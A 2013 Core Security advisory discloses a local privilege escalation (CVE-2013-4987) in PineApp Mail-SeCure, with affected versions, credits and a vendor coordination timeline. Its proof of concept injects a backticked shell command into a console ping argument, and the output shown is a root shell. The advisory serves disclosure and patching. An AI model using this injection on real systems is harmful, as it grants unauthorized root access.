CORE-2013-0904 - PinApp Mail-SeCure Access Control Failure

Core Security - Corelabs Advisory
http://corelabs.coresecurity.com/

PinApp Mail-SeCure Access Control Failure

1. Advisory Information

Title: PinApp Mail-SeCure Access Control Failure
Advisory ID: CORE-2013-0904
Advisory URL:
http://www.coresecurity.com/advisories/pinapp-mail-secure-access-control-failure
Date published: 2013-10-02
Date of last update: 2013-10-02
Vendors contacted: PineApp Team
Release mode: Coordinated release

2. Vulnerability Information

Class: Access control failure [CWE-264]
Impact: Security bypass
Remotely Exploitable: No
Locally Exploitable: Yes
CVE Name: CVE-2013-4987

3. Vulnerability Description

A security vulnerability was discovered in PineApp [1] Mail-SeCure Suite
[2], allowing a non-privileged attacker to get a root shell by sending a
specially crafted command from the Mail-SeCure console. A valid user
account is needed to launch the attack, so this is a privileged
escalation vulnerability that can be exploited locally only.

4. Vulnerable Packages

   . All Mail-SeCure versions prior to 3.70.

5. Non-Vulnerable Packages

   . Mail-SeCure 3.70 (revision Sep. 2013).

6. Credits

This vulnerability was discovered and researched by John Petrusa from
Core Security.
This report was coordinated by Fernando Miranda from Core Advisories Team.

7. Technical Description / Proof of Concept Code

Open a Mail-SeCure console as 'pinapp' user and execute the following
command:

/-----
pa_cli> system ping `/bin/sh>/dev/tty`
-----/

As a result, you should be the super-user:

/-----
sh-3.00# id
uid=0(root) gid=0(root) groups=0(root)
-----/

8. Report Timeline

. 2013-09-03:
Core Security Technologies attempts to contact vendor using the PinApp
official contact page [3]. No reply received. Publication date is set
for Sep 25th, 2013.

. 2013-09-09:
Core attempts to contact vendor.

. 2013-09-10:
Vendor acknowledges Core's e-mail, and asks for a technical description
of the vulnerability.

. 2013-09-10:
Technical details sent to the vendor.

. 2013-09-16:
Core asks for a status update.

. 2013-09-17:
Vendor notifies that they have a fix that will be included in the next
revision update.

. 2013-09-19:
Vendor notifies that they will probably release the patch next week.

. 2013-09-30:
Core asks if there is a patch available.

. 2013-10-01:
Vendor notifies that they have released a global update to all
Mail-SeCure units worldwide to block the below vulnerability.

. 2013-10-02:
Advisory CORE-2013-0904 published.

9. References

[1] http://www.pineapp.com.
[2] http://www2.pineapp.com/products/1/email-security.
[3] PinApp official contact page http://www2.pineapp.com/contact.

10. About CoreLabs

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11. About Core Security Technologies

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12. Disclaimer

The contents of this advisory are copyright (c) 2013 Core Security
Technologies and (c) 2013 CoreLabs, and are licensed under a Creative
Commons Attribution Non-Commercial Share-Alike 3.0 (United States)
License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/

13. PGP/GPG Keys

This advisory has been signed with the GPG key of Core Security
Technologies advisories team, which is available for download at
http://www.coresecurity.com/files/attachments/core_security_advisories.asc.